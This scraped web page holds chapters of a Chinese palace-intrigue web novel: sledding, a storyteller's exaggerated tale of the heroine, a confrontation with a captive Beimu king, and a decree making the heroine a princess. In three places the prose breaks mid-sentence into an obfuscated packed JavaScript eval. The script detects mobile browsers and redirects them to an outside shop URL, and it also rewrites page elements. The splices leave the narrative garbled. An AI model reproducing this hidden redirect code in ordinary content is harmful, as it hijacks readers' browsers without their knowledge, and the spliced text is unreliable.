杨御史一听承武帝连名带姓地叫他,心中顿时一紧,终于知道大事不妙,脸色煞白地跪倒在地,“陛下……臣……臣……” “朕还记得承武二年的殿试是朕亲自出的考题,‘民为邦本,本固邦宁’,你当初似乎还答得不错,”说到这里,承武帝轻笑一声,“也是,若是答得不好也不会站在殿中。” 杨御史也想起了当初殿试时的情景,他是如何回答的? 国家之兴衰,系于民之安危与乐苦。 那时的他满怀雄心壮志,可如今,在官场沉浮十余载,他早已忘记当初当官时的那份初心。 他跪在地上,额头上冒出了细密的汗珠,一时之间竟不知该如何为自己辩解。 承武帝沉着脸问:“杨晋宇,你可知罪?” 杨御史面色灰败,声音颤抖地回答道:“臣……知罪……” “御史之职本当秉持公正,监察百官,杨晋宇未能恪尽职守,念其昔日亦有微劳,朕不忍重罚,故降其为县令,望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祁晖琅先规矩地给祁婧惠行了个礼,然后咧开嘴,露出一口洁白的牙齿,开心地笑道:“姑母,我也要住在这里!” 方才皇后已差人前来告知祁婧惠此事,于她而言一个孩子需照拂,两个孩子亦是如此,并无不可。 祁晖珏看着弟弟那兴奋劲儿,心中无奈,他深知自己这个弟弟有多调皮,只得歉疚道:“叨扰姑母了。” “这么客套做什么,我住在宫中胡闹的时候,舅舅和舅母也没嫌弃过我,”宁玉瑶调皮地对祁晖珏悄悄眨眼,“小时候我在宫中闯的祸还少吗?舅舅,舅母为我收拾了这么多烂摊子,也该我娘头疼了。” 祁晖珏不由失笑,想起小时候阿姐带他满皇城乱跑的场景,他幼年时所有玩耍的记忆都与阿姐有关。 祁婧惠也笑着点了点宁玉瑶的额头,嗔怪道:“你还好意思说,你在皇城闯的祸,让御史参你爹的折子都快堆满一个宫殿了。” 宁玉瑶笑嘻嘻地晃了晃头,她牵起祁晖琅的手,对祁婧惠道:“娘亲,不早啦,我们先出去了。” 祁婧惠看了一眼站在院外等候的青黛,便知定是秦熠那边已经准备妥当,在府外等着了。 她看着迫不及待的女儿,心中明白女儿的心思,挥了挥手笑道:“快去吧。” 宁玉瑶带着两个皇子走出小院,阳光洒在他们身上,映出一片欢快的氛围。 风中吹来祁晖琅雀跃的声音,“阿姐,你何时带我去骑大老虎?” “你不是已经可以自己偷溜进去了吗?还要我带?” “那次以后百兽园管事就再也不准我进去了……”祁晖琅的声音中带着一丝遗憾。 “活该。”祁晖珏冷冷道。 “皇兄!” 两兄弟打打闹闹地跑远。 123.传说 “哇——” “啊啊啊——” 在清云山脉下的一个小山坡上,两个小孩分别坐在木盆中。他们紧紧抓住木盆边缘,木盆顺着覆盖着厚厚积雪的山坡滑下,木盆滑行的速度快得惊人,几乎一瞬间,他们就从坡顶滑到了山脚下。 刚停稳,祁晖琅迫不及待地爬出来,兴奋的小脸红扑扑。他连忙指挥侍卫扛着木盆返回坡顶,一叠声地催促着:“快点快点,皇兄我们再玩一次。” 祁晖珏也同样兴致盎然,踩着积雪,一步一步往山坡上爬去。 侍卫们早已将这片地方仔细检查过,除了厚厚的积雪之外,并无其他任何杂物。他们可以毫无顾虑地在这里玩耍,就算不小心摔倒,也不用担心会受伤。 宁玉瑶抱着手炉站在山顶,看着他们二人兴冲冲地返回山顶,又尖叫着滑下去。就这么不知疲倦地一趟趟往返,不知不觉已经玩了一个多时辰。 她实在无法理解,轻声嘟囔着:“这有什么好玩的。” 昨日她让秦熠寻一个可以给供珏儿玩乐的地方,秦熠便带他们来了此处。 这是秦熠在定州时发现定州的孩子们最喜欢的游戏,他连夜寻找这样一个地势开阔没有什么阻碍但积雪深厚的绝佳地方。 今日带他们过来,太子和五皇子果然如他所料非常喜欢。 只是可惜,自己的心上人却欣赏不了。 秦熠怂恿道:“玉瑶要不要试试?你看二位殿下玩得多开心?” “不要。”宁玉瑶想都没想,干脆地拒绝。 “啊——” 祁晖琅又一次兴奋地尖叫着滑下去,不一会儿,他快速爬上来,跑到宁玉瑶身前,“阿姐,你怎么不玩?” “阿姐不玩,你和珏儿去玩吧。”宁玉瑶推开他汗津津的脑袋。 “不行,你也来,很好玩的。”祁晖琅却不依不饶,他拽住宁玉瑶的手臂就往山坡边缘走。 七岁的孩子也不知道哪来那么大的力气,宁玉瑶竟然挣脱不开,硬被他拉到了山坡边。 但她不管秦熠如何劝说,也不管祁晖琅怎么撒娇耍赖,就是不愿意坐进木盆中。 秦熠和祁晖琅对视一眼,宁玉瑶突然感觉身体一轻,整个人直接腾空而起。祁晖琅赶紧摆正木盆的位置,而秦熠则以迅雷不及掩耳之势将宁玉瑶塞进木盆中,同时还不忘叮嘱道:“玉瑶抓紧。” 宁玉瑶下意识地紧紧抓住木盆边缘,秦熠和祁晖琅不等她反应过来,两人联手将木盆往山下一推,木盆飞速地朝着山下冲去。 “秦熠!祁晖琅!” 极速俯冲而下时,宁玉瑶最初满心的愤怒,可随着身边的风景飞快地掠过,感受着风在耳边呼啸,那种如同在飞翔般的感觉逐渐占据了她的身心。 她终于理解了祁晖珏和小五为什么这么爱玩这个游戏。 但是! 她心中的怒火并没有完全熄灭。 当她顺利抵达山脚,从木盆中站起身,扭头看向站在一旁的祁晖珏,“珏儿帮我教训他们!” 祁晖珏毫不犹豫地站到她身边,撸起袖子道:“阿姐想怎么教训?” 可是这么冷的天,他的袖子刚撸起来,手臂上就被寒风吹出了一层密密麻麻的鸡皮疙瘩。 宁玉瑶见状,赶紧将他的袖子放下,指着从山下正往这边跑的秦熠和祁晖琅道:“快,你帮我团些雪球,我们砸他们!” 等秦熠带着祁晖琅好不容易跑到山脚下,就被雪团劈头盖脸地砸了下来。 祁晖琅不甘示弱立马也从地上抓起雪团,使出浑身力气往祁晖珏和宁玉瑶砸去。只有秦熠可怜兮兮地站在那里被动挨打不敢造次。 祁晖琅虽然斗志昂扬,但一打二根本不是祁晖珏和宁玉瑶的对手。他的雪团往往还没砸到对方,就被对方轻松躲开,而自己却被他们砸得嗷嗷叫:“不公平不公平!你们俩欺负我!” 宁玉瑶也玩够了,看着祁晖珏和祁晖琅满头大汗的样子,她扔掉手中的雪团,轻哼道:“算了,放你们一马,赶紧去换衣裳吧。” 之前玩闹的时候不觉得,现在骤然停下,寒风吹过,祁晖珏不禁打了个哆嗦,他不敢受寒,赶紧拉着还没玩够的弟弟回到不远处的马车上更衣。 等他们换好事先准备好的衣服,再喝了一碗长公主府准备的驱寒姜汤,他们身上的寒意尽散。 宁玉瑶也换好了衣裳,走到他们马车前,看着他们脸上意犹未尽的笑容,笑道:“已经快午时了,我们先去用膳,明日我再带你们去玩别的。” 一听明天还有别的东西玩,祁晖琅马上忘掉心中的不舍,爬了一上午雪山,他也确实有些饿了,立即点头应道:“阿姐我们快走吧。” 他们的午膳安排在了雁京城中那最负盛名的醉仙楼。醉仙楼坐落在城西朱雀大街最繁华的地段,高大的楼阁雕梁画栋,朱红色的大门气派宏伟。 这里是雁京达官贵人,文人雅士们常常光顾的地方,不仅仅因为它有着新奇独特的菜品,更是因为这里有一位最会编故事的说书先生,能把各种奇闻轶事,江湖传说讲得绘声绘色,让人身临其境。 宁玉瑶以前就最喜欢来这里用膳听故事。这里的掌柜自然也对宁玉瑶十分熟悉,他远远地瞧见宁玉瑶一行人走来,连忙满脸堆笑地迎了上来,亲自带领着他们一行人往二楼厢房走去。 一路上,掌柜的腰微微弯着,恭敬地说道:“郡主您常来的那件厢房小的一直给您留着呢。” 宁玉瑶走进厢房,屋内的布置依旧如一年前那般典雅精致。雕花的窗户透进明亮的光线,桌椅摆放整齐,墙上挂着的字画也依然是她熟悉的那些,她颔首道:“掌柜的有心了。” 掌柜的见宁玉瑶满意,脸上的笑意更深,他殷勤地为几位贵客倒上这里最好的茶水,那茶水清澈透亮,香气扑鼻。 倒茶时,他小心翼翼地观察着宁玉瑶身边的三位贵人。那名男子气宇轩昂,掌柜曾见过,知道他是秦将军府的秦熠都司。 至于另外两位少年,他们能够与最负圣宠的明安郡主平起平坐,还让郡主亲自照顾,再看秦都司对他们的敬重,结合二位少年的年龄,掌柜的心中隐有猜测。 他更加殷勤地伺候着,不敢马虎。 “郡主,这些时日厨子们又研究出了新菜品,您可要试试。”既然贵人们不欲泄露自己的身份,掌柜也只做不知,依旧以明安郡主为尊。 “你看着安排吧。”回来后大部分时间都住在宫中的宁玉瑶确实有些想念醉仙楼的菜肴。 “是,小的这就下去安排。”掌柜的不敢打扰贵人们太久,赶紧退下。 还是第一次在外面用膳的祁晖琅,等屋内没有外人后,立即迫不及待地跳下椅子,饶有兴致地开始观察着酒楼的环境。 厢房对着一楼大堂的位置有一扇窗户,窗户上挂着特制的纱帘。那纱帘质地轻柔,颜色淡雅,上面还绣着一些精美的花纹,既能让光线透进来,又增添了几分雅致。 一楼大堂中央说书先生的声音可以清晰地传到厢房内,但外面的人却无法透过这纱帘看清厢房内的情况。 祁晖琅兴奋地趴在窗沿上,往人声鼎沸的大堂内看。只见大堂里人来人往,客人们或高谈阔论,或品尝美食,热闹非凡,“好热闹啊!” 此时,一个说书先正坐在大堂中央的椅子上,他身着一袭长袍,头戴一顶方巾,看起来颇有几分儒雅之气。他手中拿着一块醒木,只见他在身前的桌上“啪”地一拍,原本喧闹的大堂瞬间安静下来。 “方才说到明安郡主收到有人欲在瓦肆作乱的消息后,太子殿下决定与郡主一同前往瓦肆,就听明安郡主一声娇喝,‘呔,朗朗乾坤,何方歹人竟敢在雁京作乱,还不快束手就擒’。 “那群歹人见是一名弱质女流,自然没将郡主放在眼中,但他们不知道,郡主并非普通女子,她可是能够飞花摘叶于万军丛中取敌人首级的明安郡主! “只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056832|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见明安郡主长鞭一甩,以一敌十,将十名歹人杀得片甲不留,眼见明安郡主就要获胜,却意外途生!人群中竟然还有他们的同伙!那名同伙手中拿着一柄长刀冲向明安郡主。” “哗——” 原本安静的大堂瞬间喧闹起来。 “郡主没事吧?” “郡主千万别受伤。” 厢房内的众人面面相觑,祁晖琅从窗边跑到宁玉瑶身边,担忧地问:“阿姐你没事吧?” 宁玉瑶看着他紧张的样子,笑着轻点他的额头,“我可没那么大的本事以一敌十。” “阿姐厉害着呢!”祁晖琅却觉得他阿姐如说书先生说的那般武艺超群。 这时,大堂中醒木“啪”的一声响,祁晖琅连忙又跑回到窗边,继续兴致勃勃地听着。 “说时迟那时快,太子殿下手持一支破月戟,威风凛凛,只见他大喝一声,用力一挑,瞬间就将歹人手中的长刀挑飞……” 祁晖琅一听,又兴奋地跑了过来,连声问道:“皇兄,你的破月戟可以给我玩玩吗?” 祁晖珏把他推到一边,没好气地说:“什么破月戟,我怎么可能有这玩意儿。” 一旁的秦熠听着大堂中女武神勇斗匪徒的夸张故事,忍不住笑得前仰后合。 宁玉瑶狠狠地瞪了他一眼,秦熠连忙收敛了几分笑容,但嘴角依旧忍不住微微上扬。 这时大堂中已经说到明安郡主和太子解救出了被拐卖的孩子,顿时大堂中掌声雷动,一片叫好声。 “明安郡主当真如此厉害?”大堂内一个穿着粗布衣裳的男子皱着眉头怀疑道。 “那是自然!昨日我就在瓦肆中,亲眼所见!”堂内食客见有人质疑,连忙站起身喊道。 大堂内顿时更加热闹,“快说,郡主究竟是何模样?” “郡主那可是九天仙女下凡尘,她的真容哪是我等凡人可以窥见的!”那名食客冷哼道。 秦熠小声说:“这是他离得太远,没看见郡主的样貌。” 但又不能说自己没看见,只能使劲吹嘘。 宁玉瑶本被那名食客说得有些羞赧,听到秦熠的话,瞬间笑出声。 大堂内又有人问道:“昨日当真抓到了拐子?” “这还有假?”另外一名食客补充道,“今日府衙贴了告示,让家中丢了孩子的人家去府衙寻找呢,就是太子殿下和明安郡主抓到的那伙人造的孽。” “如此盛景,早知道我昨日也去瓦肆了。”有人捶胸顿足。 这时突然有人喊了一声:“太子殿下英明!郡主聪慧过人!” 大堂内的众人跟着高呼:“太子殿下英明!郡主聪慧过人!” 在醉仙楼百姓们的称赞中,宁玉瑶和太子匆匆用晚膳,等离开醉仙楼时,他们才松了一口气。 尽管大家都明白说书先生以及后来的食客多少都有些夸大其词,然而祁晖琅却好像对此深信不疑,一直缠着宁玉瑶要她表演飞花摘叶取人首级,还闹着要玩祁晖珏的破月戟,最终宁玉瑶和祁晖珏联手将他压制,让他去睡觉,才使他安静下来。 他们回到长公主府门前时,刚让侍卫将睡着的祁晖琅抱回府内,就看见祁婧惠准备出门。 “娘!”宁玉瑶连忙迎上去,“您要去哪?” “姑母。” “长公主殿下。” 祁晖珏和秦熠行礼。 祁婧惠瞧了瞧他们的神情,看样子玩得相当尽兴,她也随之心情舒畅起来。 “去一趟会同馆,有些消息需要告诉北穆王,不能让他一直被瞒在鼓里。”祁婧惠翻身上马,“你们玩,我先走了。” “姑母慢走。”祁晖珏不知其中内情,既然姑母有正事,他立即退开告别。 而宁玉瑶和秦熠对视一眼,同时想到了北穆王被瞒着的是什么。 看着母亲离开的背影,宁玉瑶眼睛一转,拉着秦熠和祁晖珏坐上马车,“走,我们去偷听。” 124.解惑 北穆王被拘禁在大宸的会同馆中已一年有余。 大宸一直自诩为礼仪之邦,确实未曾苛待过他,也不曾有过羞辱之举。但这看似温和的拘禁,却比严刑拷打更让北穆王痛苦。 这些时日,除了大宸承武帝偶尔召见,他只能在会同馆内北穆别院中活动,被圈禁在这一方小小的天地之中。 祁婧惠踏入北穆别院时,北穆王正呆坐在廊桥下,炽热的阳光毫无遮挡地直射在他的眼睛上,他却像是毫无知觉一般,不闪不避。 听见有脚步声传来,北穆王如死水般的眼珠才微微转动。看清来人是嘉阳长公主祁婧惠时,他眼中瞬间闪过一丝复杂的情绪,有厌恶,有愤恨,而后又冷漠地收回视线,重新望向那刺眼的太阳。 “北穆王,近来可好?”祁婧惠毫不在意北穆王对自己的无视,笑意盈盈地问好。 北穆王似乎没听见她的话,依旧仰头看着太阳。 会同馆的下人搬来椅子,祁婧惠坐在院中。金色的阳光洒在她华丽的服饰上,反射出点点光晕,暖意洋洋。 她用手轻轻抚了抚自己的发丝,心情颇好地继续说道:“今日本宫来此,有个好消息要告诉你。” “呵,”北穆王冷笑,“长公主殿下的好消息,恐怕对本王来说不是什么好事。” “可不能这么说,”祁婧惠见北穆王终于有了反应,嘴角微微上扬,“你的女儿娜塔孤身一人前往苍荻国都,与苍荻签下盟约,要来救你呢,你说,这算不算好消息?” 北穆王缓缓闭上眼睛,若是大宸对此事一无所知,这无疑是天大的好消息。可如今,大宸的嘉阳长公主就站在面前,既然她已经知晓,那大宸皇帝必然也得知此事。 这哪是什么好消息,说不定会成为他的催命符。 祁婧惠脸上挂着和煦的笑容,“北穆王不用担心,据我们所知,苍荻王和国师已病入膏肓,命不久矣。他们连自己国内的局势都难以掌控,更无法对大宸出兵。所以,我们大宸不会拿你祭旗,你还可以在雁京好好活着。” “如此苟活于世又有何意?”北穆王冷笑,重新闭上眼睛。他堂堂北穆王,如今却像一只丧家之犬般被囚禁在此,没有尊严,没有自由。 文攸礼真是没用,这么久了,居然还不能想出办法将他解救出去。 “好了,好消息说完了,现在来说一个好坏参半的消息吧。”祁婧惠端起会同馆下人送来的茶盏,轻饮一口,茶香在空气中弥散开来。 她看向北穆王,玩味道:“北穆王,你觉得儿子死了和你从来就没有过儿子,哪个让你更好受?” 北穆王猛地睁开眼睛,目光直直地看向祁婧惠,“长公主这是何意?” “好像都不是很好。”祁婧惠没有回答他的问题,只是自顾自地说着,嘴角依然挂着那抹笑意,可在北穆王看来,那笑容中满是恶意。 北穆王自然知道祁婧惠是在故意戏弄他。 自从这女人知道他曾想将儿子和明安郡主配冥婚后,她和她的丈夫就经常来此找他的茬,变着法地折磨他。 而对此,大宸皇帝却睁一只眼闭一只眼,似乎默许了他们的行为。 他心中愤恨,却也知道不能冲动。既然嘉阳长公主特地来此,就不会只说一半,他强压怒火,等待祁婧惠继续开口。 祁婧惠刚要开口为北穆王解惑,眼角余光不经意间瞥见别院门边露出一只精致的绣鞋,再往另一边看去,杏黄色的衣角若隐若现。 她失笑摇了摇头,这些孩子,偷听都不知道藏好。 别院外,宁玉瑶和祁晖珏正趴在墙上,耳朵紧贴墙面,光明正大地偷听。 秦熠听力极佳,不需要像他们这般就能将院内的说话声听得一清二楚。原本他提议站远一些,由他来探听,之后再转述给二人。可宁玉瑶不愿意,非要自己亲耳听,便和太子一人占了半边门框。 会同馆的侍卫们无奈地将门口的位置让给太子和明安郡主。他们很想对太子说,殿下,您若想听,直接大大方方地进去便是,何必如此偷偷摸摸? 但看到太子和明安郡主趴在墙上乐在其中的模样,侍卫们把到嘴边的话又咽了回去,谁也不敢多嘴去打扰他们的兴致。 经宁玉瑶和祁晖珏这么一打岔,祁婧惠不再拐弯抹角,直接了当地说:“北穆王,林鸿轩并非是你的儿子。当初那名舞姬在被送去北穆之前便已经怀有身孕。” 二十余年前,苍荻国师便开始布局。 他暗中挑选一批女子,着人使她们怀孕,再用苍荻秘药,隐藏这些女子的孕象。而后,他将这些女子分批送往大宸和北穆的达官贵族府上。 等到这些孩子长大成人,苍荻国师便以这些孩子的身世作为要挟,让他们为苍荻效力。 林鸿轩便是其中一枚棋子。 他的生母原本被送去北穆,准备被送进王宫献给当时的老北穆王。然而宫宴上,当时还是王储的北穆王被她的美貌所吸引。于是她被带出王宫,养在了宫外。 没过多久,王储妃发现了她的存在,本欲将她杖毙,以绝后患。 舞姬得知风声,拼尽全力逃出来。她一路南下,来到当时正在内乱的大宸,随着流民四处漂泊,最终在荔州停留。 一个大着肚子自称死了男人的可怜女人,为了生存,嫁给了当地的一个农户。 林鸿轩艰难地长到十一岁时,考取了童生。这一消息传入了苍狄人耳中,苍荻国师得知他的存在,改变原有的计策。 一方面,国师派人暗中教导林鸿轩,另一方面,又将他的存在透露给一直无子的北穆王。 北穆王得知这个消息后果然欣喜若狂,他立即安排北穆在大宸的暗桩,想尽办法联络上林鸿轩。两方人马一起努力,让林鸿轩登上了探花之位。 之后两国都想利用他来为自己谋取大宸江山。但大宸也并非毫无察觉,最终在大宸的雷霆手段下,林鸿轩被处死。 不过…… 宁玉瑶偷偷从门框边探出头,朝北穆王的方向望去,仔细打量他的脸色,却见他面部微微抽搐,表情扭曲,没有一丝欣喜若狂的样子。 祁婧惠轻咳一声,宁玉瑶连忙将头缩回去。 北穆王沉浸在自己的情绪里,并未察觉到异样。他从牙缝里挤出一声冷笑,“嘉阳长公主,你不必编出这么蹩脚的故事来羞辱本王。” “信与不信都在你自己,只是本宫在苍荻偶然得知此事,不忍堂堂北穆王一直被蒙在鼓里,特前来相告,若林鸿轩是你儿子能让你好受些的话,那便如此吧,本宫也只是一番好意。”祁婧惠笑容依旧优雅从容,丝毫不受北穆王态度的影响。 说完,她缓缓起身,整理一番自己的裙摆。今日她来此的目的已经达到,至于北穆王是何想法,是否能接受这个事实,便不在她的考虑范围内了。 祁婧惠转身走出别院,刚走没几步,身后便传来瓷器砸在地面碎裂的声音。 她嘴角上扬,心情愈发好了起来。她侧首看向门口的侍卫,“太子和郡主现在何处?” “回殿下,太子殿下与郡主往竹园去了。”侍卫躬身回道。 祁婧惠颔首,调转方向朝竹园走去。 会同馆的竹园在馆内东南方,这里竹子修长挺拔,节节向上,竹叶在冬日里微微泛黄。 此时,竹叶上落满了白雪,像是披上了一层厚厚的银装,在阳光的映照下闪烁着晶莹的光芒。有些纤细的竹枝,不堪积雪的重负,被压弯了腰。 宁玉瑶披着裘皮斗篷,戴着斗篷上毛茸茸的兜帽,在竹园里蹦蹦跳跳。她灵动的大眼睛一转,瞧见了一枝被积雪压得低垂的竹子,顿时心生一计。 她偷偷跑到那枝竹子后面,握住竹枝用力一拉。那竹枝猛地向上竖起,原本安静地堆积在竹枝上的积雪瞬间失去依托,簌簌地往下掉落,如同天女散花一般,纷纷扬扬砸向了毫无防备的秦熠和祁晖珏。 好在祁晖珏亦戴着兜帽,那些落下的积雪只是在他的兜帽上堆积了一层。旁边的内侍见状,连忙上前将他兜帽上的积雪拍落,便无大碍。 可秦熠仗着自己身强体壮,出门时既没披斗篷,更没有戴兜帽。冰冷的积雪顺着他的脖子往下钻,刺骨寒意瞬间传遍全身,冻得他打了个激灵。 宁玉瑶看到秦熠这狼狈的模样,顿时放声大笑,清脆的笑声在竹园里回荡。 秦熠本来就不会对宁玉瑶生气,现在看她开心,装模作样地又打了几个哆嗦。 看到他这滑稽的模样,宁玉瑶笑得愈发欢快。 “阿姐,外面冷,我们先进亭子吧。”祁晖珏看着这两个傻子,无奈道。 听到祁晖珏说冷,宁玉瑶总算收起了玩心,拉着祁晖珏快步进入观景亭。秦熠拍掉身上的积雪,跟在他们后面走了进去。 观景亭四周用厚厚的帘子严严实实地围了起来,将寒冷阻挡在外。亭内一盆盆炭火正烧得旺,用的是顶级的红罗炭,没有半点烟气。 会同馆主事恭恭敬敬地给太子和明安郡主请安,便识趣地退下,不敢打扰几位贵人。 “阿姐,你事先就知道此事?”等身上暖和了,祁晖珏才开口问道。 阿姐带回来的信件和名册上并没有对此事的详细记载,他们原本知晓林鸿轩听令于苍荻,以为只是简单的利益驱使,没想到林鸿轩的身世居然另有隐情。 方才在北穆王居住的院子外偷听时,祁晖珏就注意到,宁玉瑶和秦熠脸上并无吃惊之色,那模样显然是早就知道了大概,只是单纯来凑个热闹罢了。 宁玉瑶轻轻点头,她将手伸到炭火旁取暖,说道:“我们在苍荻的时候就已经知道林鸿轩不是北穆王的儿子,至于他的亲生父亲是谁,我们也不清楚。也不知道娘亲有没有查出来。” 就在这时,观景亭的帘子被掀开,一阵寒风吹进来,让亭内的温度瞬间降低了几分。 “参见长公主殿下。”秦熠立即起身,恭敬行礼。 宁玉瑶眼睛一亮,迎上去,欢快地叫道:“娘!” 祁婧惠微笑着走进亭子,拉着女儿的手一起坐下,看着众人,温柔问:“要娘查什么?” “姑母, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080702|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”祁晖珏微微欠身,“我们在好奇林鸿轩的亲生父亲。” 祁婧惠沉默了半晌,才缓缓开口道:“此事久远,谁无法探寻其中真相。不过这些棋子真正的身世并不重要,只要他们有利用价值,就会赋予他们相应高贵的出身。 “就拿林鸿轩来说,他既是大宸探花,又被北穆王认定为王储。这样的身份地位,决定他的生父必然要是位高权重之人,如此,苍荻才能够在他心中占据一席之地,让他心甘情愿地为其所用。” “那当时国师给他安排的身份是什么?”宁玉瑶眨了眨眼睛,显然没有完全理解其中深意,追问道。 祁晖珏却是眉头微皱,稍作思考后,眼中闪过一丝明悟:“应该是先苍荻王。只有这样,才配得上林鸿轩的地位,也能让他在苍荻的计划中更具价值。” “可这样不会混淆王室血统吗?”宁玉瑶不解地问。 “一枚棋子罢了,”祁婧惠微微一笑,笑容中却透着冷意,“于苍荻而言,只要他们的目的能够达成,这些便不是问题。届时他们想要换一个王,还不是轻而易举?” 既然苍狄的计谋已经无法实现,宁玉瑶便不再纠结此事。她转而想起另一件事:“可他们已经有林鸿轩这枚好用的棋子了,为何还要找祁晖珉?他们与祁晖珉勾结的时候,林鸿轩还没出事呢。” 祁婧惠并没有直接回答宁玉瑶的问题,她嘴角含笑看着祁晖珏,祁晖珏瞬间明白姑母这是要考校自己。 他微微皱眉,脑海中快速梳理着过往所了解到的各种信息。 片刻后,他缓缓回道:“五年前,那时林鸿轩还未进入殿试,一切都还是未知数。苍荻也并不确定林鸿轩是否能够高中。即便一年后林鸿轩中得探花,但大宸科举前三甲不知凡几,一个小小探花,又怎么能轻易靠近父皇。 “况且父皇年富力强,对朝事把控严格,想要从正常途径影响父皇的决策近乎毫无可能。所以他们只能想出一些下作手段,一旦父皇……” 祁晖珏说到此处,停顿片刻,才继续说道:“届时,苍荻和北穆就会同时对大宸发起进攻。而大宸又有祁晖珉这样的内鬼暗中协助他们,里应外合。即便大宸有再多的忠臣良将,也难以抵挡得住这些奸佞之人在内部作祟。 “一旦苍荻和北穆的军队占领了雁京,局势就会完全失控。到时候,不管苍荻之前对祁晖珉许下过什么样的承诺,他们都不再承认,定会直接将祁晖珉除掉。” 宁玉瑶听了祁晖珏的分析,忆起前尘往事,许多疑惑之处此刻都迎刃而解。 林鸿轩在娶了她之后,孤魂确实协助他在仕途上平步青云,但她也清楚,仅仅凭借这些,林鸿轩彼时并无那般权力,能够一手遮天阻拦定北军的粮草。 现在想来,如果有祁晖珉从中作梗,便说得通了。从最后登上皇位的人是林鸿轩来看,上一世祁晖珉恐怕也不会有什么好下场。 “确是如此,祁晖珉太过愚蠢。他手中并无兵权,居然敢相信苍荻这些狼子野心之人。”祁婧惠看着宁玉瑶沉默的表情,蓦地想起女儿曾经做过的那场林鸿轩登基后屠城的噩梦。 若苍荻国师的计谋得逞,恐怕最后便会如瑶儿梦中所见那般可怖。 不过幸好,瑶儿的那场梦让他们对林鸿轩早有防备,也是瑶儿敏锐地发现了春玉娅的不妥之处。 想到春玉娅,祁婧惠道:“当初暗中教唆二公主的人便是苍荻国师安排的。后来祁晖珉与苍荻勾结上之后,也是祁晖珉费尽心思培育了这些毒草,提供给祁夕滢。” “祁晖珉真是坏事做绝,”宁玉瑶眼中满是嫌恶,“娘,他当真得了癔症吗?” 此事发生之时,祁婧惠并不在雁京,其中具体情况她并不清楚,母女二人一同转头看向祁晖珏。 祁晖珏点头道:“此事做不得假,多位太医都已确诊,应该不会有差。” “哼,便宜他了!”宁玉瑶仍是满脸不悦。 “无碍,他就算装疯卖傻,陛下也不会放他出来。在天牢中关一辈子,比死了更难受。”祁婧惠轻拍女儿的肩膀安慰道。 如今所有事情都已尘埃落定,她不愿女儿因此影响心情,便笑着转移话题:“你们今日去哪玩了?” 宁玉瑶想起醉仙楼中关于自己的离奇故事,她并不想回答,可祁晖珏却笑意盎然,将那些故事绘声绘色地又讲了一遍,祁婧惠被逗得合不拢嘴。 “我们瑶儿这么厉害。”祁婧惠亲昵地搂着宁玉瑶。 宁玉瑶反倒有些担忧地说道:“娘,百姓们如此夸大,是不是不太好。” “没什么不好的。”祁婧惠微笑着安抚女儿。 她没有告诉女儿,这些皆是承武帝授意,陛下有意让民间传颂宁玉瑶的事迹,只是为了给女儿造势。 至于陛下到底想做什么…… 祁婧惠笑而不语。 日子一天天过去,坊间关于明安郡主的故事越传越广。 就在外面对于宁玉瑶的称颂达到顶峰之时,苏德茂手捧圣旨,在仪仗侍卫和宫廷乐师的伴随下来到长公主府。 125.诏书 “……明安郡主宁玉瑶,系出天潢,性资敏慧,温婉贤良,行止有度……册郡主宁玉瑶为明安公主,望其秉持仁德,光昭皇室,钦此。” 宁玉瑶端正地跪在香案前,袅袅青烟自香炉中升腾而起,此时她却心神恍惚。苏公公宣读诏书的尖细声音,在宁玉瑶耳中忽近忽远。 等苏德茂将诏书念完许久,她依旧没有丝毫反应。 身侧众人皆面带笑意,看着一脸迷茫的她,太子轻声提醒道:“阿姐接旨。” 宁玉瑶回过神来,连忙伏跪在地,双手举过头顶,恭敬道:“陛下圣恩浩荡,明安必当不负陛下隆恩。” 苏德茂将诏书放在宁玉瑶手上,他轻轻将宁玉瑶扶起来,脸上堆满了笑容,说道:“殿下,陛下钦定腊月十八为册封大典,还请您稍作准备。” “有劳苏公公。”祁婧惠见宁玉瑶依旧呆愣在原地,赶忙上前揽着女儿,笑着对苏德茂说道。 苏德茂连连弯腰,“殿下严重了,诏书已至,奴才先行告退。” “苏公公慢走。”祁婧惠颔首,宁璟瑞走上前来亲自送苏德茂出门。 宁玉瑶毫无所觉,只是翻来覆去地看着手中的诏书,百思不得其解,小声嘟囔着:“怎么突然册封我为公主了呢……” 这时院中的奴仆侍卫们齐齐跪倒在地,向宁玉瑶行礼:“参见明安公主。” 宁玉瑶如梦初醒般抬起头来,看着身侧的父母兄嫂,面带笑意的祁晖珏,以及一脸雀跃的祁晖琅。 她挽着祁婧惠的胳膊,撒娇问道:“娘,你们是不是早就知道了?” 祁晖琅抢先回答:“我不知道!” 祁婧惠和祁晖珏都笑了,此事必然不会让小五知道,他若是知晓,定会嚷嚷得人尽皆知。 “好了,不是有意瞒着你的,”祁婧惠轻点宁玉瑶的鼻尖,笑道,“快进宫谢恩吧。” 长公主府这般大的动静,隔壁的秦将军府自然听得一清二楚。 秦将军府内,秦夫人正与秦秀灵在堂中忙碌着,四周摆满了各种物什,皆是为秦熠冠礼所准备。 